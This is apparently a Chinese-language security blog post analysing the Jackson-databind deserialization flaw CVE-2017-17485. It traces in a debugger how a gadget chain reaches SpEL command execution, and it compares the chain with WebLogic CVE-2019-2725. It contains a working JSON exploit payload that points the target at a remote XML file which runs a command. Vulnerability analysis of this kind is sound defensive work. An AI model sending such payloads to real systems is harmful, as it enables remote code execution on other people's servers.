CVE-2017-17485 Jackson-databind 反序列化

Jackson-databind的作用简单来说就是就是将json转换成对象。

0x02 漏洞分析

从payload来看，应该也是和

org.springframework.context.support.FileSystemXmlApplicationContext 这个有关系。

{"id":123, "obj": ["org.springframework.context.support.FileSystemXmlApplicationContext", "https://raw.githubusercontent.com/irsl/jackson-rce-via-spel/master/spel.xml"]}

在这个地方下一个断点

org/springframework/context/support/FileSystemXmlApplicationContext.class

通过idea可以通过 diagrams 的 Show Diagram Popup 查看类与接口之间的继承关系。

在 beanFactory 中有 getBean 的构造方法

而实际 getBean 的构造方法是在 AbstractBeanFactory 类中调用。

我们试着在 AbstractBeanFactory 类中的 getBean 方法下个断点也就是说程序通过一系列的json反序列化，以及反射机制进入到了 getBean 方法，并且获取到了这个 name 为pb的方法。

在org.springframework.beans.factory.support.BeanDefinitionValueResolver#resolveValueIfNecessary这里下断点，我看到经过 evaluate 处理之后 valueObject 等于我们要执行的 calc.exe 。

这里看一下 evaluate 方法的实现。

然后会继续解析 #{ pb.start() } ，对 #{ pb.start() } 进行spel操作。

当解析完 pb.start 操作后就会命令执行。

0x03 后话

回过头看一下发现 Weblogic-CVE-2019-2725 使用的 FileSystemXmlApplicationContext 和 CVE-2017-17485 使用的 FileSystemXmlApplicationContext 相比缺少了一步表达式解析，也就是

Object valueObject = this.evaluate(typedStringValue);

那我试试看，调整一下payload，当然也是可以的。

也就是说实际上 CVE-2017-17485 所用到的spring版本为5.0.2，它足够高，支持spel表达式的方法来初始化 bean 对象，而 Weblogic-CVE-2019-2725 所用到的spring版本过低，无法支持spel表达式，所以它需要通过指定 init-method 的方法来初始化 bean 对象。